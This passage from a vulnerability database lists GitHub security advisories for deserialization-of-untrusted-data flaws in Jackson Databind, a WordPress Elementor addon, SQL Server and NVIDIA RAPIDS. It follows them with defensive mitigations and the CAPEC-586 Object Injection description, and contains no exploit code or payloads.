"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14061"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/2698"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/5c8642aeae9c756b438ab7637c90ef3c77966e6e"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/07/msg00001.html"
},
{
"type": "WEB",
"url": "https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200702-0003"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-572316"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Deserialization of untrusted data in Jackson Databind"
}
GHSA-C2Q8-7637-6WGV
Vulnerability from github – Published: 2025-04-17 18:31 – Updated: 2026-04-01 18:34Deserialization of Untrusted Data vulnerability in bdthemes Ultimate Store Kit Elementor Addons allows Object Injection. This issue affects Ultimate Store Kit Elementor Addons: from n/a through 2.4.0.
{
"affected": [],
"aliases": [
"CVE-2025-39588"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T16:15:58Z",
"severity": "CRITICAL"
},
"details": "Deserialization of Untrusted Data vulnerability in bdthemes Ultimate Store Kit Elementor Addons allows Object Injection. This issue affects Ultimate Store Kit Elementor Addons: from n/a through 2.4.0.",
"id": "GHSA-c2q8-7637-6wgv",
"modified": "2026-04-01T18:34:53Z",
"published": "2025-04-17T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39588"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ultimate-store-kit/vulnerability/wordpress-ultimate-store-kit-elementor-addons-2-4-0-deserialization-of-untrusted-data-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C2QV-V7MM-7VWH
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.
{
"affected": [],
"aliases": [
"CVE-2026-54118"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:17:04Z",
"severity": "HIGH"
},
"details": "Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.",
"id": "GHSA-c2qv-v7mm-7vwh",
"modified": "2026-07-14T18:32:07Z",
"published": "2026-07-14T18:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54118"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C2W4-VHH6-4FXW
Vulnerability from github – Published: 2025-01-28 06:30 – Updated: 2025-01-28 06:30NVIDIA RAPIDS contains a vulnerability in cuDF and cuML, where a user could cause a deserialization of untrusted data issue. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure.
{
"affected": [],
"aliases": [
"CVE-2024-0140"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-28T04:15:08Z",
"severity": "MODERATE"
},
"details": "NVIDIA RAPIDS contains a vulnerability in cuDF and cuML, where a user could cause a deserialization of untrusted data issue. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure.",
"id": "GHSA-c2w4-vhh6-4fxw",
"modified": "2025-01-28T06:30:40Z",
"published": "2025-01-28T06:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0140"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5597"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.